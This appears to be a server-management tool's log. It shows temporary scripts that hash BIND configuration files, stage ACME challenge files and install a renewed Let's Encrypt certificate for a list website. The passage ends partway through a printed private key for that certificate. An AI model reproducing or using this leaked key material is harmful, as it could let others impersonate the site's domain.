MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-06-17 14:35:13: Establishing a connection
2026-06-17 14:35:21: Establishing a connection
2026-06-17 14:35:22: 

PUT: /tmp/pkp406878

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-17 14:35:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp406878; rm /tmp/pkp406878'

2026-06-17 14:35:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-17 14:35:28: Establishing a connection
2026-06-17 14:35:28: Establishing a connection
2026-06-17 14:35:28: 

PUT: /tmp/pkp285613

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_list/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-17 14:35:28: 

chmod 755 /tmp/pkp285613; /tmp/pkp285613; rm /tmp/pkp285613

2026-06-17 14:35:28: 


1


2026-06-17 14:35:29: Establishing a connection
2026-06-17 14:35:30: 

PUT: /tmp/pkp219123

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cat > 23VzF3dU9V2yURR69YGnWq7xGAlNLKyijQL8S5bhhho <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
23VzF3dU9V2yURR69YGnWq7xGAlNLKyijQL8S5bhhho.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 23VzF3dU9V2yURR69YGnWq7xGAlNLKyijQL8S5bhhho
cat > DlSrMsbM3U7KjedUjnGS5cGtFITiSwKuDZnbFR0caVM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
DlSrMsbM3U7KjedUjnGS5cGtFITiSwKuDZnbFR0caVM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 DlSrMsbM3U7KjedUjnGS5cGtFITiSwKuDZnbFR0caVM


2026-06-17 14:35:30: 

chmod 755 /tmp/pkp219123; /tmp/pkp219123; rm /tmp/pkp219123

2026-06-17 14:35:30: 




2026-06-17 14:35:39: Establishing a connection
2026-06-17 14:35:40: 

PUT: /tmp/pkp711171

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
rm 23VzF3dU9V2yURR69YGnWq7xGAlNLKyijQL8S5bhhho
rm DlSrMsbM3U7KjedUjnGS5cGtFITiSwKuDZnbFR0caVM


2026-06-17 14:35:40: 

chmod 755 /tmp/pkp711171; /tmp/pkp711171; rm /tmp/pkp711171

2026-06-17 14:35:40: 




2026-06-17 14:35:40: Establishing a connection
2026-06-17 14:35:40: 

PUT: /tmp/pkp901867

#!/bin/bash
temp_file=$(mktemp)
TARGET=625c49c8e1729cb5d0e1dcdf03ddcd68.crt

cat > $temp_file <<'endmsg'
78:8d:04:25:86:75:f2:1a:4b:58:82:ab:67:0d:f6:6a

-----BEGIN CERTIFICATE-----
MIIFITCCBAmgAwIBAgISBirYeJhzQxYGNNtjGaVvghEkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjE3MTMzNzA3WhcNMjYwOTE1MTMzNzA2WjAjMSEwHwYDVQQD
ExhsaXN0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCML+ldp3GC1csZxdnsrbXy3Gqjsj2FhrahbPhl5FLC0Cx78NXZ
iWc5vC13MVhcXkkPz20rntNS3uCZRFcNwXwdmC5UugAWuUK/vgpmfmC9aQTuYZu3
dR+8TPUmeg5mojEhMa/MlRMfwYPgZQRA25xfW+a1nz6IT7JAG5ZIz8iIswHjwuEh
ux7qtcPHu97rhN4jIDERB5TgRPI0/qN7XENpFYstRulwjhKcUnIPMO15FcIFhqUq
Wwe4UFDzIwQIzLZPv/8HTkGw6xwWTLoFGMCEwzMpX4+RoWGfdDW+CVNqmm0E5Ufd
p8bypKKbz2y+xIBraIUA1u88XE43Dc6QQy+LAgMBAAGjggI9MIICOTAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUrMlSY5f6+jMrGaiD6Gxkm+o9lkEwHwYDVR0jBBgwFoAUHy81vkYUgs1A
sa55LFV4+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
eXIxLmkubGVuY3Iub3JnLzA4BgNVHREEMTAvghhsaXN0LmhvcGVpbnN0b3VnaHRv
bi5vcmeCE2xpc3Quc3RvdWdodG9uLmxpbmswEwYDVR0gBAwwCjAIBgZngQwBAgEw
LgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8zNy5jcmww
ggEOBgorBgEEAdZ5AgQCBIH/BIH8APoAdwCvZ4g7V7BO3Y+m2X72LqjrgQrHcWDw
JF5V1gwv54WHOgAAAZ7WAlYnAAAEAwBIMEYCIQDALOZGuMMC254ZFE8Gmr/ay/EB
8UGbooL8Gd0L7h3fQgIhALuRZQDsylbYj0U/tc5UoPDjisLjc3KbEZjB3BeOO9r0
AH8AGoudaw/+v4G0eTnG0jEKhtbRAtTwRuIYLJ3jX14mJe8AAAGe1gJX3wAIAAAF
ACAFgHMEAwBIMEYCIQD6nQ/vyizyiHJANN11yOzqT3zZ3u3uWSIJfXUiviwaAAIh
AIvWq3jnHFQ/CyUq4KSMpwBQoDFQ68GmJPSVfUoN8dsJMA0GCSqGSIb3DQEBCwUA
A4IBAQBAn44o33qRx1Cxu7Dq9LRvwkWZT6iHvwRVq+n1E0U0wS7uVtqN9YQcfuGt
uTt9SHGoJagcujqVjv5N2FTu3/YjV8Vqb02gkw/aBS3KFKRQhj6H0oGEUfTuSX2j
Hu5aT01hrb2O2XxxgF1pwGanvjdTao3bxjsnJiQ088lKvCXGXUEjt1kXw6fCuKrA
hYz/TZyK9IYrwJy6fGgV9dLDUK04E2/XhjsO7dxd+l3ucP8fwETXuy/mf2V+2A0N
JpBcB3ETU9XorTDBF0FJ/IcVTOSuiNhUV41EP4PlANYKTdiaKrJSP13EAFc/dlqt
tneq1gmrXWjQDWGgfhEafcjh0ran
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCML+ldp3GC1csZ
xdnsrbXy3Gqjsj2FhrahbPhl5FLC0Cx78NXZiWc5vC13MVhcXkkPz20rntNS3uCZ
RFcNwXwdmC5UugAWuUK/vgpmfmC9aQTuYZu3dR+8TPUmeg5mojEhMa/MlRMfwYPg
ZQRA25xfW+a1nz6IT7JAG5ZIz8iIswHjwuEhux7qtcPHu97rhN4jIDERB5TgRPI0
